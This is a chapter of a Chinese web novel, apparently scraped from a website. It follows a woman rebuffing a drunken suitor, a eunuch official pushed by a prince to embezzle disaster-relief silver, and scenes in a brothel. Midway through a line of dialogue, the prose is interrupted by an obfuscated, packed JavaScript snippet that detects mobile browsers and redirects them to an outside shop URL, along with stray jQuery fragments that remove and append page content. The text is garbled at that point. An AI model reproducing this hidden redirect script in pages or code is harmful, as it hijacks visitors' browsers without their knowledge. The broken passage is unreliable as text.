62. 妓寨谋财

作品:《段姑娘每天打两份工

    陈雪游托着青瓷碗的手收回来,语气异常冷淡。


    “但我只劝这一次,往后他是生是死,我都不会再管。”


    福庆由是喟叹:“姑娘,你好狠的心啊。”


    扶起床上的郑二,灌了醒酒汤,原想着他能清醒些,听进去几句话,可他毕竟在外头整夜整夜喝酒不睡觉,眼下倒是不怎么吐了,只是倒下去睡得死沉。


    陈雪游打算晚些时候再过来,福庆仍是不让。


    “我已叫人去回明柳姨娘,萍姑娘还是等爷醒过来再走吧。”


    “你。”


    薄暮冥冥,她打着盹,倏然睁眼,看到地上昏黄的光,而床上的人还在呼呼大睡,登时气恼,抓起郑砚龙肩膀疯狂摇晃。


    “二爷,你也睡够了,给我醒醒!”


    郑砚龙偷眼瞧她一下,就匆匆闭上。


    “我知道你在装睡,你听着,我现在就要走,临走前最后告诉你几句话,别指望着在外面买醉装可怜,就以为我会同情你。我可告诉你,我这人无情无义,根本不会在意你的死活,所以,别教我看不起你,给我振作起来!”


    这几句话,字字如刀,戳他心窝子。


    “我的事不用你管。”


    郑砚龙忽然用力推开她,坐了起来,面色怆然。


    “你走。”


    “我是要走呢,就是来看看你被我伤得有多惨,哼,没想到你这么没出息,真叫人看不上。”


    句句带刺,讥得他无可辩驳。


    “是是是,我就是这么窝囊,连个太监都比不上,你滚啊!”


    陈雪游扶额叹气,恨铁不成钢。


    “你真是叫我说什么好呢,男儿志在四方,可你脑子里净装着些儿女情长,我不喜欢你,难道你自己就没有问题吗?若我拒你于千里之外,你却不卑不亢,从此奋发向上,而后迎娶娇妻,那时,你站在高处,便可尽情羞辱那些伤害过你的人。”


    劝慰之话,字字珠玑,也是人该有的本色。


    郑砚龙初听还有些糊涂,不过很快咂摸出这话里的意思,大彻大悟。


    “我明白了,你是想叫我忘掉你,乖乖听姨娘的话,去娶秦姑娘。萍儿,原来你,你都是为了我着想,你是怕我跟母亲不和,毁了自己,所以你才说那些话,叫我死心。”


    陈雪游瞠目结舌。


    “我……”


    这些弯弯绕绕的心思,都叫他看穿。


    可是他说得对,也不对,她不是因为爱而成全,恰恰因为不爱他,倘若她真的足够爱一个人,或许反而会不择手段去争取对方。


    爱情是没有道理可讲的。


    虽然眼下她未有倾慕之人,但也很难为这一点感激之情就跟未来婆婆斗个你死我活,不如退出,对彼此都好。


    “你还挺会自欺欺人的。”


    只要她打死不承认,他就拿她没办法。


    “我不信,萍儿,我对你那么好,你怎能无动于衷呢?”


    也不是他好,就必须得爱他。


    “你要这么想,我也没有办法。”


    这话怎么那么耳熟,好像在哪里听过?


    郑砚龙眼底的光寂灭,他仰面趟回床上,把整条被子揉进怀里抱着,有一声没一声地抽泣。


    陈雪游:“……”


    福庆:“……”


    风起于青萍之末,哭声也起于蚊蝇之微。


    而后,床上的人突然瓮瓮翁哭得像个开水壶。


    陈雪游抱着头转身就走。


    福庆跑过去拦住她。


    “姑娘,你可不能撇下爷啊!你真就忍心,看着他这么哭下去?”


    她嘴角抽搐,“你听错了,这是炉子上的水烧开了。”


    福庆泪眼婆娑,苦苦哀求:“姑娘啊,你就别说笑了。”


    陈雪游没耐心陪他在这里耗,欻一下抽出腰间匕首,向他脑袋扎去。


    “再不让开,我扎死你!”


    福庆抱头鼠窜,她趁机开溜。


    是夜,皇帝在勤政殿夜召周元澈。


    适逢近日山西水患,太子下令赈济灾民,派官员押送赈灾银才出发不久。


    太子初理朝政,皇帝明面放手,背地里还是时时刻刻盯着,终究放不下心。


    且,赈灾是大事。陛下虽不一定是至圣之君,但也会间歇□□民如子。


    因此特召命周元澈前来,希望他能暗中护送银饷,看着赈灾银切切实实用到受灾百姓身上。


    譬如如上次段延庆贪污赈灾款的事情,定然不能再发生。


    否则便要他提头来见。


    周元澈领命而去,眼下他的头还在脖子上,可将来就难说了,因为刚出宫门,便有一个内侍拦住去路。


    “周掌司还没用晚膳吧,不如去王爷府里用饭。”


    “有劳。”


    王爷么,他可是王爷的人,那这顿晚膳断不能拒绝。


    马车辘辘驶过宫道,停在二人面前。


    他掀了衣袍,坐在红木油登上,一道清酿徐徐注入酒钟里。


    周元澈环顾四周,身后是一座描金花鸟屏风,头顶悬着艳丽的彩灯,壁上张挂的画是工笔描绘的春意图,栩栩如生,活色生香。


    这里,可不是燕王府,而是京中最大的妓馆瑶台。


    他嘴角噙着笑,把玩手里的酒杯,“王爷,您请我上这儿来,不会是打算把梳子卖给和尚吧?”


    他是太监,逛窑子属实有点无计可施。


    对面的中年男人捻须微笑,“本王曾听昌乐说起周掌司夜船藏娇之事,是以把晚膳安排在这儿,怎么,周掌司是不喜欢姑娘?”


    “……”


    喜欢的,但只喜欢一个。


    他只好岔开话题:“王爷还是说正事吧。”


    “能有什么要紧事呢,不过是点小事,还需要掌司帮个忙。”


    “王爷不会是想要那笔赈灾银吧?此事小人恐怕爱莫能助,毕竟脖子上这颗脑袋我还想多留几年。”


    “唉,没那笔银子,本王接下来的日子可就难过了。”


    “哦,此话怎讲?”他屈身近前,仿佛想看透老狐狸的机心。


    “都怪昌乐那丫头,非要帮她姑姑办什么元宵夜宴,真是劳民伤财。”


    所以得想个办法把这笔开支给填了。


    周元澈握杯的指节泛白,脸上却挂着奉承讨好的笑。


    “王爷要银子使,也不该打赈灾银的主意,臣记得,巡盐御史征收盐税也够您发好几万两银子的财了。”


    王爷搁下酒杯,“那笔银子,皇上还要拿来修缮宫殿,其他人分下去能得几个钱?这样,若是周掌司肯帮我,这笔钱我们三七分,绝对不会让你吃亏。至于皇上那里,自然有我替你求情。”


    周元澈思量片刻,这事没法再拒绝,如今自己有意与他交好,正是赢得更多信任的时候。


    燕王支持太子,真心还是假意,外人也许不知,他却很清楚。这次不光是要银子,还是要试探他敢不敢为自己拼命,若放过这次机会,恐怕很难再得到燕王的信任。


    良久,他笑执酒盏,应下此事。


    “那本王就预祝周掌司大捷了。来人,给周大人倒酒。另外,把那窈娘也唤过来。”


    “王爷……”


    王爷打断他的话,强行要将这女子推荐给他。


    “周掌司,来都来了,怎么能不享受享受再走呢?这窈娘的功夫,本王是知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970383|188618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道的,你可一定要试试。”


    周元澈脸上的笑容渐渐凝固,不等窈娘进屋,已推辞起身。


    “实不相瞒,臣还有约,这就告辞,请王爷恕罪。”


    燕王诧道:“莫非是与佳人有约?周掌司倒是很专情,看来这女子必是个绝色美人啊,改日不妨叫她到府上来坐坐,我家昌乐在家总嫌闷得慌呢。”


    “她…她身子不好,恐怕扫郡主的兴。”


    “哦,莫非周大人不给面子?”


    周元澈面色尴尬,犹豫半晌,方解释道:“王爷英明,其实……皆是因为我这人非常善妒,若是教别人见到她的样子,我就恨不得要把那人眼睛挖出来。而且她又极其讨姑娘们喜欢,和女子单独相处我就更不放心。所以,臣从不让她出府,只为了回府就能立马见到她。”


    燕王不由大笑,“周大人真是性情中人。”


    窈娘这时忽掀帘而至,一眼看见周元澈,痴痴怔住半晌。


    “哎哟,这位大人,怕不是神仙下凡吧?生得好俊一张脸呢。”


    伸手去勾他脖子,想入神仙怀里探他仙根,没坐着,从凳子上摔将下去。


    “大人好狠的心啊。”


    周元澈朝燕王拱手,“告辞。”


    出了厢房,径直下楼去,忽听有人在底下嚷嚷:“郑砚龙,瞧你怂成那样,不就是个女人吗,瑶台到处都是女人,随便你挑,爷今天请你!”


    循声望去,只见几人架着郑砚龙进来,老鸨迈步迎过去。


    “哎哟,几位爷,快里面请!”


    郑砚龙伸手抱着大厅的柱子,“不,我不要喝花酒!”


    醉成那样,到底还是被人拖走,周元澈避让,遥望几人跟老鸨上楼。


    是他?


    看来银子,有着落了。


    厢房内,锦衣公子拿出一锭金子塞到赛妈妈手里,“去,把你们这儿最漂亮的姑娘叫出来,好好伺候这位郑二爷,要是他明天还舍得出来,就别怪小爷不客气了。”


    老鸨认得这位小爷,乃是兵部王尚书家的公子,那可不是好惹的主。


    “您放心,我们姑娘一定好好伺候郑二爷,四儿,快去备酒备菜,招呼客人!”


    交代完,他们便将郑砚龙放在床上,接着出门去隔壁吃酒。


    不久,那位和窈娘并列第一的花魁娘子喜荷,袅袅婷婷,颤颤巍巍地走来,进屋只见床上躺着个男人,一动不动。


    这不用说,直接办事就成。


    她俯身细细打量,这位公子脸是真俊,是她爱的那款,心里头甚是欢喜,伸手便去解他腰带,衣衫尽脱,露出男人精壮的膀子,劲瘦的腰身,喜荷高兴得两眼放光。


    只看上半身,便知下半身也差不到哪里去。


    近来接的客人不是七老八十,就是细皮嫩肉的文人,也是许久不曾见到这样的男人了。这浑身的肌肉一看便知是个练家子,可又和那等一身臭味毛茸茸的武夫不同,郑公子不仅剑眉星目有一张俊脸,身材也是极佳,这次她可算是人财两得。


    喜荷窃喜着,正要行云布雨,猛听门外赛妈妈叫道:“喜荷呀,冯老爷子急着要见你呢,快来!”


    懊丧回道:“叫冯老爷坐坐吃杯酒,我过会儿就来!”


    她抚摸着男人细窄的腰腹,爱不释手,“公子,我待会儿再来陪您,等着。”


    喜荷恋恋不舍地开门出去,在冯老头那里累得筋疲力尽,可想到郑二,又立马精神抖擞,赶忙过来赴这位美貌公子的云雨之约。


    可不承想,进来一看,她那么大个如意郎君,鲜嫩美相公,竟不翼而飞。


    “真是气煞我也,煮熟的鸭子竟让他飞了!”


    喜荷惟跌足长叹。